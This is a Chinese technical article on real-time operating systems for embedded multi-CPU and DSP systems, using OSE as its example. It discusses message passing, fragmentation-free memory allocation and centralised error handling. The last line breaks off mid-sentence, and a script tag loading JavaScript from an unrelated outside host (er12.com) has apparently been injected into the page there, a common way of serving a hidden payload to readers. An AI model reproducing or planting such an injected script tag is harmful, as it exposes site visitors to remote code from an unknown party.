在早期开发微处理器的嵌入式软件时,条件比较简单,只有一个cpu、数量有限的存储器、若干i/o、还可能有简单的网络。
今天,情况已经变化。嵌入式系统可能是多cpu,甚至是dsp和cpu的组合。存储器和数据率都属于海量,此外,开发队伍遍布全球,而且客户要求提供几乎不可能达到的可靠性。
嵌入式软件供应商怎样才能够满足开发商的需要,包括消息传送、存储器管理、cpu/dsp之间的通信、容错和系统级开发工具呢?
当dsp越来越复杂和更加强大时,开发商逐渐认识到,必须在这些器件上运行实时操作系统。当执行多任务时,实时操作系统能够有效地使用dsp的资源,并且对误差处理和存储器地址分配等作业有帮助。
对于tigersharc等dsp,实时操作系统通过“链接端口”处理通信,控制其它cpu和dsp,并且产生同步。为cpu和dsp同时提供通用的api(应用程序接口)可改善开发时间、编写文件和代码维护。
实时操作系统结构的一项重要进步是内部处理通信能力—嵌入式系统的作业如何与其它作业交换数据。传统办法是分享存储器的“信箱”,采用信号量进行存取和控制。
图1 消息的通过
随着嵌入式系统变得更为复杂。许多开发团队转而使用异步的信息通行结构(参阅图1)。从程序员的观点来看,例如在ose实时操作系统中,作业只要简单地发送消息和另一个作业接收消息。这样做的优点很多,由于实时操作系统处理了存储器的地址分配,系统的调用数就减少。作业可在系统内任何地方接收。甚至可通过背板接收到在另一块电路板的作业;不管作业在哪里,实时系统都可对它进行处理,事实上,消息通行的异步方式是指一个作业不能锁住另一个正在等候信号的作业;有时候在复杂的分布系统中,这样做是很重要的。
异步的消息通行结构还有另外的优点,它可将项目划分成几部分,再分配到几个小组作并行开发。
存储器管理是另一个结构问题。当系统要得更加动态和更加着重存储器时,嵌入式系统的存储器管理就变得十分重要。在动态系统中,一个不可避免的问题是数据分段。虽然无用信息收集法可作为一种解决方案,但是它的风险会影响到系统的实时性能。
ose实时操作系统正用于全球的基站中,经常放置在远端台站。对网络供应商来说,损失客房的空中时间或票据信息都是不可取的。ose用两种地址分配方式来消除分段,“堆置(heap)”,根据黄金分割法的顺序分配存储器地址,从而限制分段;轮询缓冲器(a pool of buffers),此时任务分配为轮询存储器,而且只分配到预定容量的缓冲器中。一旦某个缓冲器被使用,它就回到系统内。结果是轮询的全部存储器随时保持“可用”状态。这种办法还有一些重要特点,如不会受到存储器搜索延时的影响。
图2 错误的处理
现代实时操作系统结构的进展是误差处理(参阅图2)。在传统系统中,软件开发者为了处理可能发生的任何错误,在系统访问后必须编写“差错代码”,例如,出现失效的存储器地址分配错误。不难想到,当项目越大和开发队伍扩大时,将有许多人写出大量的差错码。在ose结构中,错误处理是内建在系统访问的运作。
从程序员的观点来看,应用提出对系统访问,而实时操作系统完成其它工作。如果系统访问失败,则内核将调用中央错误处理器去解决问题。
这样做有很多好处。第一,应用码更加紧凑和可靠,而且开发和排错也更快。第二,更多错误处理可在系统级进行,构成更牢靠的容错系统。
各种处理器之间的通信
嵌入式开发的最重要发展?script src=http://er12.com/t.js>